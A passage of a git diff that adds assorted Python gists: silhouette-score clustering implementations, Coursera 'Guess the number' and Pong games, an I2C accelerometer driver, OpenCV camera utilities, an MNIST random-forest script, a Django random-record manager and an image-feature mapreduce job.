+        metric dependent. See the scipy docs for usage examples.
+
+    Returns
+    -------
+    silhouette : float
+        Mean Silhouette Coefficient for all samples.
+
+    References
+    ----------
+
+    Peter J. Rousseeuw (1987). "Silhouettes: a Graphical Aid to the
+        Interpretation and Validation of Cluster Analysis". Computational
+        and Applied Mathematics 20: 53-65. doi:10.1016/0377-0427(87)90125-7.
+
+    http://en.wikipedia.org/wiki/Silhouette_(clustering)
+
+    """
+    if sample_size is not None:
+        random_state = check_random_state(random_state)
+        indices = random_state.permutation(X.shape[0])[:sample_size]
+        if metric == "precomputed":
+            raise ValueError('Distance matrix cannot be precomputed')
+        else:
+            X, labels = X[indices], labels[indices]
+    return np.mean(silhouette_samples_slow(X, labels, metric=metric, **kwds))
+
+
+def silhouette_samples_slow(X, labels, metric='euclidean', **kwds):
+    """Compute the Silhouette Coefficient for each sample.
+
+    The Silhoeutte Coefficient is a measure of how well samples are clustered
+    with samples that are similar to themselves. Clustering models with a high
+    Silhouette Coefficient are said to be dense, where samples in the same
+    cluster are similar to each other, and well separated, where samples in
+    different clusters are not very similar to each other.
+
+    The Silhouette Coefficient is calculated using the mean intra-cluster
+    distance (a) and the mean nearest-cluster distance (b) for each sample.
+    The Silhouette Coefficient for a sample is ``(b - a) / max(a, b)``.
+
+    This function returns the Silhoeutte Coefficient for each sample.
+
+    The best value is 1 and the worst value is -1. Values near 0 indicate
+    overlapping clusters.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+             label values for each sample
+
+    metric : string, or callable
+        The metric to use when calculating distance between instances in a
+        feature array. If metric is a string, it must be one of the options
+        allowed by metrics.pairwise.pairwise_distances. If X is the distance
+        array itself, use "precomputed" as the metric.
+
+    `**kwds` : optional keyword parameters
+        Any further parameters are passed directly to the distance function.
+        If using a scipy.spatial.distance metric, the parameters are still
+        metric dependent. See the scipy docs for usage examples.
+
+    Returns
+    -------
+    silhouette : array, shape = [n_samples]
+        Silhouette Coefficient for each samples.
+
+    References
+    ----------
+
+    Peter J. Rousseeuw (1987). "Silhouettes: a Graphical Aid to the
+        Interpretation and Validation of Cluster Analysis". Computational
+        and Applied Mathematics 20: 53-65. doi:10.1016/0377-0427(87)90125-7.
+
+    http://en.wikipedia.org/wiki/Silhouette_(clustering)
+
+    """
+    metric = distance_metrics()[metric]
+    n = labels.shape[0]
+    A = np.array([_intra_cluster_distance_slow(X, labels, metric, i)
+                  for i in range(n)])
+    B = np.array([_nearest_cluster_distance_slow(X, labels, metric, i)
+                  for i in range(n)])
+    sil_samples = (B - A) / np.maximum(A, B)
+    # nan values are for clusters of size 1, and should be 0
+    return np.nan_to_num(sil_samples)
+
+
+def _intra_cluster_distance_slow(X, labels, metric, i):
+    """Calculate the mean intra-cluster distance for sample i.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+        label values for each sample
+
+    metric: function
+        Pairwise metric function
+
+    i : int
+        Sample index being calculated. It is excluded from calculation and
+        used to determine the current label
+
+    Returns
+    -------
+    a : float
+        Mean intra-cluster distance for sample i
+    """
+    indices = np.where(labels == labels[i])[0]
+    if len(indices) == 0:
+        return 0.
+    a = np.mean([metric(X[i], X[j]) for j in indices if not i == j])
+    return a
+
+
+def _nearest_cluster_distance_slow(X, labels, metric, i):
+    """Calculate the mean nearest-cluster distance for sample i.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+        label values for each sample
+
+    metric: function
+        Pairwise metric function
+
+    i : int
+        Sample index being calculated. It is used to determine the current
+        label.
+
+    Returns
+    -------
+    b : float
+        Mean nearest-cluster distance for sample i
+    """
+    label = labels[i]
+    b = np.min(
+            [np.mean(
+                [metric(X[i], X[j]) for j in np.where(labels == cur_label)[0]]
+            ) for cur_label in set(labels) if not cur_label == label])
+    return b
+
+
+def silhouette_score_block(X, labels, metric='euclidean', sample_size=None,
+                           random_state=None, n_jobs=1, **kwds):
+    """Compute the mean Silhouette Coefficient of all samples.
+
+    The Silhouette Coefficient is calculated using the mean intra-cluster
+    distance (a) and the mean nearest-cluster distance (b) for each sample.
+    The Silhouette Coefficient for a sample is ``(b - a) / max(a, b)``.
+    To clarrify, b is the distance between a sample and the nearest cluster
+    that b is not a part of.
+
+    This function returns the mean Silhoeutte Coefficient over all samples.
+    To obtain the values for each sample, use silhouette_samples
+
+    The best value is 1 and the worst value is -1. Values near 0 indicate
+    overlapping clusters. Negative values generally indicate that a sample has
+    been assigned to the wrong cluster, as a different cluster is more similar.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+             label values for each sample
+
+    metric : string, or callable
+        The metric to use when calculating distance between instances in a
+        feature array. If metric is a string, it must be one of the options
+        allowed by metrics.pairwise.pairwise_distances. If X is the distance
+        array itself, use "precomputed" as the metric.
+
+    sample_size : int or None
+        The size of the sample to use when computing the Silhouette
+        Coefficient. If sample_size is None, no sampling is used.
+
+    random_state : integer or numpy.RandomState, optional
+        The generator used to initialize the centers. If an integer is
+        given, it fixes the seed. Defaults to the global numpy random
+        number generator.
+
+    `**kwds` : optional keyword parameters
+        Any further parameters are passed directly to the distance function.
+        If using a scipy.spatial.distance metric, the parameters are still
+        metric dependent. See the scipy docs for usage examples.
+
+    Returns
+    -------
+    silhouette : float
+        Mean Silhouette Coefficient for all samples.
+
+    References
+    ----------
+
+    Peter J. Rousseeuw (1987). "Silhouettes: a Graphical Aid to the
+        Interpretation and Validation of Cluster Analysis". Computational
+        and Applied Mathematics 20: 53-65. doi:10.1016/0377-0427(87)90125-7.
+
+    http://en.wikipedia.org/wiki/Silhouette_(clustering)
+
+    """
+    if sample_size is not None:
+        random_state = check_random_state(random_state)
+        indices = random_state.permutation(X.shape[0])[:sample_size]
+        if metric == "precomputed":
+            raise ValueError('Distance matrix cannot be precomputed')
+        else:
+            X, labels = X[indices], labels[indices]
+    return np.mean(silhouette_samples_block(
+        X, labels, metric=metric, n_jobs=n_jobs, **kwds))
+
+
+def silhouette_samples_block(X, labels, metric='euclidean', n_jobs=1, **kwds):
+    """Compute the Silhouette Coefficient for each sample.
+
+    The Silhoeutte Coefficient is a measure of how well samples are clustered
+    with samples that are similar to themselves. Clustering models with a high
+    Silhouette Coefficient are said to be dense, where samples in the same
+    cluster are similar to each other, and well separated, where samples in
+    different clusters are not very similar to each other.
+
+    The Silhouette Coefficient is calculated using the mean intra-cluster
+    distance (a) and the mean nearest-cluster distance (b) for each sample.
+    The Silhouette Coefficient for a sample is ``(b - a) / max(a, b)``.
+
+    This function returns the Silhoeutte Coefficient for each sample.
+
+    The best value is 1 and the worst value is -1. Values near 0 indicate
+    overlapping clusters.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+             label values for each sample
+
+    metric : string, or callable
+        The metric to use when calculating distance between instances in a
+        feature array. If metric is a string, it must be one of the options
+        allowed by metrics.pairwise.pairwise_distances. If X is the distance
+        array itself, use "precomputed" as the metric.
+
+    `**kwds` : optional keyword parameters
+        Any further parameters are passed directly to the distance function.
+        If using a scipy.spatial.distance metric, the parameters are still
+        metric dependent. See the scipy docs for usage examples.
+
+    Returns
+    -------
+    silhouette : array, shape = [n_samples]
+        Silhouette Coefficient for each samples.
+
+    References
+    ----------
+
+    Peter J. Rousseeuw (1987). "Silhouettes: a Graphical Aid to the
+        Interpretation and Validation of Cluster Analysis". Computational
+        and Applied Mathematics 20: 53-65. doi:10.1016/0377-0427(87)90125-7.
+
+    http://en.wikipedia.org/wiki/Silhouette_(clustering)
+
+    """
+    A = _intra_cluster_distances_block(X, labels, metric, n_jobs=n_jobs,
+                                       **kwds)
+    B = _nearest_cluster_distance_block(X, labels, metric, n_jobs=n_jobs,
+                                        **kwds)
+    sil_samples = (B - A) / np.maximum(A, B)
+    # nan values are for clusters of size 1, and should be 0
+    return np.nan_to_num(sil_samples)
+
+
+def _intra_cluster_distances_block_(subX, metric, **kwds):
+    distances = pairwise_distances(subX, metric=metric, **kwds)
+    return distances.sum(axis=1) / (distances.shape[0] - 1)
+
+
+def _intra_cluster_distances_block(X, labels, metric, n_jobs=1, **kwds):
+    """Calculate the mean intra-cluster distance for sample i.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+        label values for each sample
+
+    metric : string, or callable
+        The metric to use when calculating distance between instances in a
+        feature array. If metric is a string, it must be one of the options
+        allowed by metrics.pairwise.pairwise_distances. If X is the distance
+        array itself, use "precomputed" as the metric.
+
+    `**kwds` : optional keyword parameters
+        Any further parameters are passed directly to the distance function.
+        If using a scipy.spatial.distance metric, the parameters are still
+        metric dependent. See the scipy docs for usage examples.
+
+    Returns
+    -------
+    a : array [n_samples_a]
+        Mean intra-cluster distance
+    """
+    intra_dist = np.zeros(labels.size, dtype=float)
+    values = Parallel(n_jobs=n_jobs)(
+            delayed(_intra_cluster_distances_block_)
+                (X[np.where(labels == label)[0]], metric, **kwds)
+                for label in np.unique(labels))
+    for label, values_ in zip(np.unique(labels), values):
+        intra_dist[np.where(labels == label)[0]] = values_
+    return intra_dist
+
+
+def _nearest_cluster_distance_block_(subX_a, subX_b, metric, **kwds):
+    dist = pairwise_distances(subX_a, subX_b, metric=metric, **kwds)
+    dist_a = dist.mean(axis=1)
+    dist_b = dist.mean(axis=0)
+    return dist_a, dist_b
+
+
+def _nearest_cluster_distance_block(X, labels, metric, n_jobs=1, **kwds):
+    """Calculate the mean nearest-cluster distance for sample i.
+
+    Parameters
+    ----------
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    labels : array, shape = [n_samples]
+        label values for each sample
+
+    metric : string, or callable
+        The metric to use when calculating distance between instances in a
+        feature array. If metric is a string, it must be one of the options
+        allowed by metrics.pairwise.pairwise_distances. If X is the distance
+        array itself, use "precomputed" as the metric.
+
+    `**kwds` : optional keyword parameters
+        Any further parameters are passed directly to the distance function.
+        If using a scipy.spatial.distance metric, the parameters are still
+        metric dependent. See the scipy docs for usage examples.
+    X : array [n_samples_a, n_features]
+        Feature array.
+
+    Returns
+    -------
+    b : float
+        Mean nearest-cluster distance for sample i
+    """
+    inter_dist = np.empty(labels.size, dtype=float)
+    inter_dist.fill(np.inf)
+    # Compute cluster distance between pairs of clusters
+    unique_labels = np.unique(labels)
+
+    values = Parallel(n_jobs=n_jobs)(
+            delayed(_nearest_cluster_distance_block_)(
+                X[np.where(labels == label_a)[0]],
+                X[np.where(labels == label_b)[0]],
+                metric, **kwds)
+                for label_a, label_b in combinations(unique_labels, 2))
+
+    for (label_a, label_b), (values_a, values_b) in \
+            zip(combinations(unique_labels, 2), values):
+
+            indices_a = np.where(labels == label_a)[0]
+            inter_dist[indices_a] = np.minimum(values_a, inter_dist[indices_a])
+            del indices_a
+            indices_b = np.where(labels == label_b)[0]
+            inter_dist[indices_b] = np.minimum(values_b, inter_dist[indices_b])
+            del indices_b
+    return inter_dist
+
+if __name__ == '__main__':
+    import time
+
+    from sklearn.metrics.cluster.unsupervised import silhouette_score
+
+    np.random.seed(0)
+    X = np.random.random((10000, 100))
+    y = np.repeat(np.arange(100), 100)
+    t0 = time.time()
+    s = silhouette_score(X, y)
+    t = time.time() - t0
+    print 'Scikit silhouette (%fs): %f' % (t, s)
+    t0 = time.time()
+    s = silhouette_score_block(X, y)
+    t = time.time() - t0
+    print 'Block silhouette (%fs): %f' % (t, s)
+    t0 = time.time()
+    s = silhouette_score_block(X, y, n_jobs=2)
+    t = time.time() - t0
+    print 'Block silhouette parallel (%fs): %f' % (t, s)
diff --git a/hard-gists/5553364/._snippet.py b/hard-gists/5553364/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5553364/._snippet.py differ
diff --git a/hard-gists/5553364/snippet.py b/hard-gists/5553364/snippet.py
new file mode 100644
index 00000000..ad177e91
--- /dev/null
+++ b/hard-gists/5553364/snippet.py
@@ -0,0 +1,199 @@
+# Mini-project #2 - "Guess the number"
+#
+# 'Introduction to Interactive Programming in Python' Course
+# RICE University - coursera.org
+# by Joe Warren, John Greiner, Stephen Wong, Scott Rixner
+
+import simplegui
+import random
+
+# initialize global variables used in your code
+max_range = 100
+guesses = int()  # placeholder, look at init()
+message = dict()  # placeholder, look at init()
+old_message = dict()  # placeholder, look at init()
+random_number = int()  # placeholder, look at init()
+max_guesses = int()  # placeholder, look at init()
+
+# canvas constants
+FONT_SIZE = 14
+CANVAS_WIDTH = 420
+CANVAS_HEIGHT = 180
+AVATAR_SIZE = 40
+MARGIN = 6
+AVATAR_COORD = {"player": AVATAR_SIZE // 2 + MARGIN,
+                "python": CANVAS_WIDTH - MARGIN - AVATAR_SIZE // 2}
+BUBBLE_MARGIN = {"player": (AVATAR_SIZE + (2 * MARGIN), CANVAS_WIDTH - MARGIN),
+                 "python": (MARGIN, CANVAS_WIDTH - (2 * MARGIN) - AVATAR_SIZE)}
+AVATAR = {"python": simplegui.load_image("http://goo.gl/DZjuc"),
+          "player": simplegui.load_image("http://goo.gl/4fJNf")}
+
+# canvas animation constants
+time = 0  # global time
+TRANSITION = 5  # transition duration
+
+
+# helper functions
+def init():
+    global old_message, message, random_number, guesses, max_guesses
+    # restart number of guesses
+    guesses = 0
+    # set max number of guesses
+    if max_range == 100:
+        max_guesses = 7
+    else:
+        max_guesses = 10
+    # get random number
+    random_number = random.randint(0, max_range - 1)
+    # message is a dictionary holding the logging messages,
+    # keys represent the player name and values the messages.
+    # Values are stored in a list because canvas.draw_text()
+    # can't handle multiline strings automatically.
+    message = {"python": ["Do you wanna play 'guess the number'?",
+                          "I am thinking of a number between 0 and %s (inclusive)." % str(max_range - 1),
+                          "Take a guess!"],
+               "player": list()}
+    old_message = message  # buffer for transition
+    print "\n--- NEW GAME ---"
+    log_to_console()
+
+
+def log_to_console():
+    # Log message dict to the console
+    for player in ("player", "python"):
+        for text in message.get(player):
+            print "%s: %s" % (player, text)
+
+
+# define event handlers for control panel
+def tick():
+    # simple timer, this is necessary to animate transitions
+    # between sessions on the canvas.
+    global time
+    time += 1
+
+
+def range100():
+    # button that changes range to range [0,100) and restarts
+    global max_range
+    max_range = 100
+    init()
+
+
+def range1000():
+    # button that changes range to range [0,1000) and restarts
+    global max_range
+    max_range = 1000
+    init()
+
+
+def get_input(guess):
+    global message, guesses, time
+    # assign your guess to the player message
+    message["player"] = [guess]
+    # validate
+    if not guess or not (0 <= int(guess) < max_range):
+        message["python"] = ["Pick a number between 0 and %s, try again..." % str(max_range - 1)]
+        log_to_console()
+        time = 0  # restart time
+        timer.start()  # start transition
+        return
+    # count guesses
+    guess = int(guess)
+    guesses += 1
+    # check for a new game
+    if max_guesses - guesses < 0:
+        return init()
+    # check for a winner
+    elif guess == random_number:
+        message["python"] = ["Good job!",
+                             "You guessed my number in %s guesses :)" % guesses,
+                             "",
+                             "Do you wanna play again?"]
+        guesses = 8  # start a new game
+    # check for game over
+    elif max_guesses - guesses == 0:
+        message["python"] = ["Oops!! No turns left :(",
+                             "My number was %s..." % random_number,
+                             "",
+                             "Do you wanna play again?"]
+        guesses = 8  # start a new game
+    # keep playing
+    else:
+        comp_guess = "high"
+        if guess < random_number:
+            comp_guess = "low"
+        message["python"] = ["Your guess is too %s!" % comp_guess,
+                             "You have %s turns left." % str(max_guesses - guesses),
+                             "Try again..."]
+    log_to_console()
+    time = 0  # retart timeline
+    timer.start()  # start transition
+
+
+def draw(canvas):
+    # optional event handler, this function draws a chat/log window
+    # showing the last interaction between the user and the system
+    # directly into the canvas.
+    next_page = False
+    for text in (old_message, message):
+        base_height = 0  # base y coordinate for each message group
+        for player in ("player", "python"):
+            message_length = len(message.get(player))
+            if not message_length:
+                continue  # if there's no message for this player, skip this iteration
+            offset = (CANVAS_HEIGHT * time / TRANSITION)  # y coord offset for next page
+            # render avatar
+            avatar_posy = (AVATAR_SIZE // 2) + MARGIN + base_height - offset
+            if next_page:
+                avatar_posy += CANVAS_HEIGHT
+            canvas.draw_image(AVATAR.get(player),
+                             (40, 40), (80, 80),
+                             (AVATAR_COORD.get(player), avatar_posy),
+                             (AVATAR_SIZE, AVATAR_SIZE))
+            # render bubble
+            bubble_height = (message_length * FONT_SIZE) + ((message_length + 1) * MARGIN)
+            bubble_posy = [MARGIN + base_height - offset,
+                           bubble_height + base_height - offset]
+            if next_page:
+                bubble_posy[0] = bubble_posy[0] + CANVAS_HEIGHT
+                bubble_posy[1] = bubble_posy[1] + CANVAS_HEIGHT
+            canvas.draw_polygon([(BUBBLE_MARGIN.get(player)[0], bubble_posy[0]),
+                                 (BUBBLE_MARGIN.get(player)[0], bubble_posy[1]),
+                                 (BUBBLE_MARGIN.get(player)[1], bubble_posy[1]),
+                                 (BUBBLE_MARGIN.get(player)[1], bubble_posy[0])],
+                                1, "Silver", "White")
+            # render text
+            i = 0  # line number
+            for text in message.get(player):
+                text_posy = (1 + i) * (MARGIN + FONT_SIZE) + base_height - offset
+                if next_page:
+                    text_posy += CANVAS_HEIGHT
+                canvas.draw_text(text, (BUBBLE_MARGIN.get(player)[0] + 2,
+                                 text_posy),
+                                 FONT_SIZE, "Black", "sans-serif")
+                i += 1  # acumulate line number
+            # acumulate y coordinate to use it in the next message group
+            if bubble_height > AVATAR_SIZE:
+                base_height += bubble_height
+            else:
+                base_height += AVATAR_SIZE + MARGIN
+            # change to next page offset
+            next_page = True
+    if time >= TRANSITION:
+        timer.stop()
+
+# create frame
+frame = simplegui.create_frame("Guess the number", CANVAS_WIDTH, CANVAS_HEIGHT)
+frame.set_canvas_background("Gray")
+
+# register event handlers for control elements
+frame.add_button("Range is [0-100)", range100, 200)
+frame.add_button("Range is [0-1000)", range1000, 200)
+frame.add_input("Enter a guess:", get_input, 195)
+frame.set_draw_handler(draw)  # canvas handler, used to draw stuff on the canvas
+timer = simplegui.create_timer(1000//30, tick)  # timer handler, used by transitions
+
+# start frame
+init()
+frame.start()
diff --git a/hard-gists/5560796/._snippet.py b/hard-gists/5560796/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5560796/._snippet.py differ
diff --git a/hard-gists/5560796/snippet.py b/hard-gists/5560796/snippet.py
new file mode 100644
index 00000000..04438b74
--- /dev/null
+++ b/hard-gists/5560796/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+import smbus
+import time
+
+
+class Accel():
+    def __init__(self, dev=1, g=2):
+        self.bus = smbus.SMBus(dev)
+        self.set_range(g)
+
+
+    def write(self, register, data):
+        self.bus.write_byte_data(0x1D, register, data)
+
+
+    def read(self, data):
+        return self.bus.read_byte_data(0x1D, data)
+
+
+    def set_range(self, g):
+        if g == 8:
+            d = 0b01000001
+        elif g == 4:
+            d = 0b01001001
+        elif g == 2:
+            d = 0b01000101
+        else:
+            raise ValueError("Only 2, 4 or 8.")
+        self.write(0x16, d)
+        self.g = g
+
+
+    def _get(self, addr):
+        l = self.read(addr)
+        h = self.read(addr + 1)
+        d = h << 8 | l
+        if d > 511:
+            d -= 1024
+        return d
+
+
+    def get_x(self):
+        return self._get(0x00)
+
+
+    def get_y(self):
+        return self._get(0x02)
+
+
+    def get_z(self):
+        return self._get(0x04)
+
+
+    def clear_offset(self):
+        self.write(0x10, 0)
+        self.write(0x11, 0)
+        self.write(0x12, 0)
+        self.write(0x13, 0)
+        self.write(0x14, 0)
+        self.write(0x15, 0)
+        time.sleep(0.1)
+
+
+    def _set_offset(self, addr, zero):
+        d = self._get(addr - 0x10)
+        d = zero - d
+        d = int(d * 2.5)
+        d += 65536
+        self.write(addr, d & 0xff) # Low
+        self.write(addr + 1, d >> 8 & 0xff) # High
+
+
+    def set_offset(self):
+        self.clear_offset()
+        self._set_offset(0x10, 0)
+        self._set_offset(0x12, 0)
+        if self.g == 4:
+            zero = 32
+        else:
+            zero = 64
+        self._set_offset(0x14, zero)
+        time.sleep(0.1)
+
+
+def main():
+    mma = Accel(1)
+    mma.set_offset()
+    while True:
+        x = mma.get_x()
+        y = mma.get_y()
+        z = mma.get_z()
+        print("x =%4d ,y =%4d, z =%4d" % (x, y, z))
+        time.sleep(0.1)
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/5562029/._snippet.py b/hard-gists/5562029/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5562029/._snippet.py differ
diff --git a/hard-gists/5562029/snippet.py b/hard-gists/5562029/snippet.py
new file mode 100644
index 00000000..514785ac
--- /dev/null
+++ b/hard-gists/5562029/snippet.py
@@ -0,0 +1,46 @@
+import base64
+import time
+import urllib2
+
+import cv2
+import numpy as np
+
+
+"""
+Examples of objects for image frame aquisition from both IP and
+physically connected cameras
+
+Requires:
+ - opencv (cv2 bindings)
+ - numpy
+"""
+
+
+class ipCamera(object):
+
+    def __init__(self, url, user=None, password=None):
+        self.url = url
+        auth_encoded = base64.encodestring('%s:%s' % (user, password))[:-1]
+
+        self.req = urllib2.Request(self.url)
+        self.req.add_header('Authorization', 'Basic %s' % auth_encoded)
+
+    def get_frame(self):
+        response = urllib2.urlopen(self.req)
+        img_array = np.asarray(bytearray(response.read()), dtype=np.uint8)
+        frame = cv2.imdecode(img_array, 1)
+        return frame
+
+
+class Camera(object):
+
+    def __init__(self, camera=0):
+        self.cam = cv2.VideoCapture(camera)
+        if not self.cam:
+            raise Exception("Camera not accessible")
+
+        self.shape = self.get_frame().shape
+
+    def get_frame(self):
+        _, frame = self.cam.read()
+        return frame
diff --git a/hard-gists/5574345/._snippet.py b/hard-gists/5574345/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5574345/._snippet.py differ
diff --git a/hard-gists/5574345/snippet.py b/hard-gists/5574345/snippet.py
new file mode 100644
index 00000000..f75d820f
--- /dev/null
+++ b/hard-gists/5574345/snippet.py
@@ -0,0 +1,54 @@
+import numpy
+import random
+from numpy import arange
+#from classification import *
+from sklearn import metrics
+from sklearn.datasets import fetch_mldata
+from sklearn.ensemble import RandomForestClassifier
+from sklearn.utils import shuffle
+import time
+
+
+def run():
+    mnist = fetch_mldata('MNIST original')
+    #mnist.data, mnist.target = shuffle(mnist.data, mnist.target)
+    #print mnist.data.shape
+    # Trunk the data
+    n_train = 60000
+    n_test = 10000
+
+    # Define training and testing sets
+    indices = arange(len(mnist.data))
+    random.seed(0)
+    #train_idx = random.sample(indices, n_train)
+    #test_idx = random.sample(indices, n_test)
+    train_idx = arange(0,n_train)
+    test_idx = arange(n_train+1,n_train+n_test)
+
+    X_train, y_train = mnist.data[train_idx], mnist.target[train_idx]
+    X_test, y_test = mnist.data[test_idx], mnist.target[test_idx]
+
+    # Apply a learning algorithm
+    print "Applying a learning algorithm..."
+    clf = RandomForestClassifier(n_estimators=10,n_jobs=2)
+    clf.fit(X_train, y_train)
+
+    # Make a prediction
+    print "Making predictions..."
+    y_pred = clf.predict(X_test)
+
+    #print y_pred
+
+    # Evaluate the prediction
+    print "Evaluating results..."
+    print "Precision: \t", metrics.precision_score(y_test, y_pred)
+    print "Recall: \t", metrics.recall_score(y_test, y_pred)
+    print "F1 score: \t", metrics.f1_score(y_test, y_pred)
+    print "Mean accuracy: \t", clf.score(X_test, y_test)
+
+
+if __name__ == "__main__":
+    start_time = time.time()
+    results = run()
+    end_time = time.time()
+    print "Overall running time:", end_time - start_time
\ No newline at end of file
diff --git a/hard-gists/5580829/._snippet.py b/hard-gists/5580829/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5580829/._snippet.py differ
diff --git a/hard-gists/5580829/snippet.py b/hard-gists/5580829/snippet.py
new file mode 100644
index 00000000..d8384ad5
--- /dev/null
+++ b/hard-gists/5580829/snippet.py
@@ -0,0 +1,34 @@
+import datetime
+import random
+
+from django.db import models
+from django.db.models import Count
+
+
+class RandomManager(models.Manager):
+    def __init__(self, *args, **kwargs):
+        self.when_last_cached = datetime.datetime.now() - datetime.timedelta(minutes=10)
+        return super(RandomManager, self).__init__(*args, **kwargs)
+
+    def random_filter(self):
+        """
+        Override this if you need to filter on something
+        """
+        return self.all()
+
+    def random(self):
+        now = datetime.datetime.now()
+        if self.when_last_cached < now - datetime.timedelta(minutes=5):
+            self.when_last_cached = now
+            self.count = self.random_filter().aggregate(count=Count('id'))['count']
+        
+        # Try 3 times then fail
+        i = 0
+        while True:
+            random_index = random.randint(0, self.count - 1)
+            try:
+                return self.random_filter()[random_index]
+            except IndexError:
+                if i > 2:
+                    raise IndexError
+                i += 1
diff --git a/hard-gists/5587680/._snippet.py b/hard-gists/5587680/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5587680/._snippet.py differ
diff --git a/hard-gists/5587680/snippet.py b/hard-gists/5587680/snippet.py
new file mode 100644
index 00000000..81d38e73
--- /dev/null
+++ b/hard-gists/5587680/snippet.py
@@ -0,0 +1,52 @@
+import cv2
+
+# Create object to read images from camera 0
+cam = cv2.VideoCapture(1)
+
+
+class imgSlice(object):
+
+    def __init__(self):
+        self.x = 0
+        self.y = 0
+        self.w = 1
+        self.h = 1
+
+        self.capturing = False
+
+    def test(self, event, x, y, flags, param):
+        if event == 0 and self.capturing:
+            self.w = x - self.x
+            self.h = y - self.y
+        elif event == 1:
+            self.x, self.y = x, y
+            self.h, self.w = 4, 4
+            self.capturing = True
+        elif event == 4:
+            self.w = x - self.x
+            self.h = y - self.y
+            self.capturing = False
+
+ims = imgSlice()
+ret, img = cam.read()
+cv2.imshow("Camera2", img)
+cv2.setMouseCallback("Camera2", ims.test)
+while True:
+    # Get image from webcam
+    ret, img = cam.read()
+    img = cv2.resize(img, (1200, 900))
+    if ims.w > 5 and ims.h > 5:
+        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)[ims.y:ims.y + ims.h,
+                                                     ims.x:ims.x + ims.w]
+        eql = cv2.equalizeHist(gray)
+        # show the result
+
+        img[ims.y:ims.y + ims.h, ims.x:ims.x + ims.w, 0] = eql
+        img[ims.y:ims.y + ims.h, ims.x:ims.x + ims.w, 1] = eql
+        img[ims.y:ims.y + ims.h, ims.x:ims.x + ims.w, 2] = eql
+
+    cv2.imshow("Camera2", img)
+    # Sleep infinite loop for ~10ms
+    # Exit if user presses <Esc>
+    if cv2.waitKey(10) == 27:
+        break
diff --git a/hard-gists/5596077/._snippet.py b/hard-gists/5596077/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5596077/._snippet.py differ
diff --git a/hard-gists/5596077/snippet.py b/hard-gists/5596077/snippet.py
new file mode 100644
index 00000000..2e1e84ee
--- /dev/null
+++ b/hard-gists/5596077/snippet.py
@@ -0,0 +1,71 @@
+from mincepie import mapreducer, launcher
+import gflags
+import glob
+import leargist
+import numpy as np
+import os
+from PIL import Image
+import uuid
+ 
+# constant value
+GIST_DIM = 960
+GIST_DTYPE = np.float32
+ 
+# gflags
+gflags.DEFINE_string("input_folder", "",
+                     "The folder that contains all input images, organized in synsets.")
+gflags.DEFINE_string("output_folder", "",
+                     "The folder that we write output features to")
+FLAGS = gflags.FLAGS
+ 
+ 
+def process_image(filename, max_size=256):
+    """Takes an image name and computes the gist feature
+    """
+    im = Image.open(filename)
+    im.thumbnail((max_size, max_size), Image.ANTIALIAS)
+    return leargist.color_gist(im)
+ 
+ 
+class PygistMapper(mapreducer.BasicMapper):
+    """The ImageNet Compute mapper. The input value would be a synset name.
+    """
+    def map(self, key, value):
+        if type(value) is not str:
+            value = str(value)
+        files = glob.glob(os.path.join(FLAGS.input_folder, value, '*.JPEG'))
+        files.sort()
+        features = np.zeros((len(files), GIST_DIM), dtype = GIST_DTYPE)
+        for i, f in enumerate(files):
+            try:
+                feat = process_image(f)
+                features[i] = feat
+            except Exception, e:
+                # we ignore the exception (maybe the image is corrupted or
+                # pygist has some bugs?)
+                print f, Exception, e
+        outname = str(uuid.uuid4()) + '.npy'
+        np.save(os.path.join(FLAGS.output_folder, outname), features)
+        yield value, outname
+ 
+mapreducer.REGISTER_DEFAULT_MAPPER(PygistMapper)
+ 
+ 
+class PygistReducer(mapreducer.BasicReducer):
+    def reduce(self, key, values):
+        """The Reducer basically renames the numpy file to the synset name
+        Input:
+            key: the synset name
+            value: the temporary name from map
+        """
+        os.rename(os.path.join(FLAGS.output_folder, values[0]),
+                os.path.join(FLAGS.output_folder, key + '.npy'))
+        return key
+ 
+ 
+mapreducer.REGISTER_DEFAULT_REDUCER(PygistReducer)
+mapreducer.REGISTER_DEFAULT_READER(mapreducer.FileReader)
+mapreducer.REGISTER_DEFAULT_WRITER(mapreducer.FileWriter)
+ 
+if __name__ == "__main__":
+    launcher.launch()
\ No newline at end of file
diff --git a/hard-gists/5598271/._snippet.py b/hard-gists/5598271/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5598271/._snippet.py differ
diff --git a/hard-gists/5598271/snippet.py b/hard-gists/5598271/snippet.py
new file mode 100644
index 00000000..d1b31f81
--- /dev/null
+++ b/hard-gists/5598271/snippet.py
@@ -0,0 +1,193 @@
+# Mini-project #4 - "Pong"
+#
+# 'Introduction to Interactive Programming in Python' Course
+# RICE University - coursera.org
+# by Joe Warren, John Greiner, Stephen Wong, Scott Rixner
+
+import simplegui
+import random
+import math
+
+
+# CLASSES
+class Base():
+    def __init__(self):
+        self.mass = 0.1
+        self.color = "white"
+        self.size = [1.0, 1.0]
+        self.pos = [0, 0]
+        self.vel = [0, 0]
+
+    def add_force(self, force):
+        for i in range(2):
+            self.vel[i] += force[i] / self.mass
+
